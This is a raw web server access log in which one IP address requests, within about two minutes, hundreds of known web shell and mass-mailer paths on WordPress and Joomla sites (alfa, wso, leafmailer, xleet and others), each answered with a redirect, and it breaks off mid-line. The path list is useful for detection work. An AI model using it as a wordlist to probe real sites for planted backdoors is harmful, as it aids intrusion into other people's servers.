[29/Apr/2025:23:51:13 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:13 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:14 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:14 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:15 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:15 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:15 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:16 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:17 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:17 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:17 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:18 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:18 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:19 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:19 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:19 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:20 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:20 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:21 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:21 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:21 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:22 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:23 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:23 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:24 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:24 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:25 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:25 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:26 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:26 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:27 -0400] "GET /alexusmailer2.0.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:27 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:28 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:28 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:28 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:29 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:30 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:30 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:31 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:31 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:32 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:32 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:33 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:33 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:34 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:34 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:35 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:35 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:36 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:36 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:37 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:37 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:38 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:38 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:39 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:39 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:39 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:40 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:40 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:41 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:41 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:41 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:42 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:42 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:43 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:43 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:44 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:44 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:45 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:45 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:46 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:46 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:47 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:47 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:47 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:48 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:48 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:49 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:49 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:49 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:50 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:51 -0400] "GET //wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:51 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:52 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:52 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:53 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:54 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:54 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:55 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:55 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:56 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:57 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:57 -0400] "GET //wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:58 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:58 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:58 -0400] "GET //modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:59 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:59 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:00 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:00 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:01 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:01 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:02 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:03 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:03 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:04 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:05 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:06 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:06 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:07 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:08 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:09 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:09 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:10 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:10 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:11 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:11 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:12 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:12 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:13 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:13 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:14 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:14 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:15 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:16 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:16 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:17 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:17 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:18 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:19 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:19 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:21 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:21 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:22 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:22 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:23 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:24 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:24 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:25 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:25 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:26 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:26 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:27 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:27 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:27 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:28 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:28 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:29 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:29 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:30 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:30 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:30 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:31 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:31 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:32 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:33 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:34 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:34 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:35 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:36 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:36 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:37 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:37 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:38 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:38 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:38 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:39 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:40 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:40 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:41 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:41 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:42 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:42 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:42 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:43 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:43 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:44 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:44 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:45 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:45 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:46 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:47 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:47 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:47 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:48 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:48 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:49 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:49 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:50 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:50 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:50 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:51 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:51 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:52 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:52 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:52 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:53 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:53 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:54 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:54 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:54 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:55 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:55 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:56 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:56 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:57 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:57 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:57 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:58 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:58 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:59 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:52:59 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:00 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:00 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:01 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:02 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:03 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:03 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:04 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:04 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:05 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:06 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:06 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:06 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:07 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:07 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:08 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:08 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:09 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:09 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:10 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:53:10 -0400] "GET 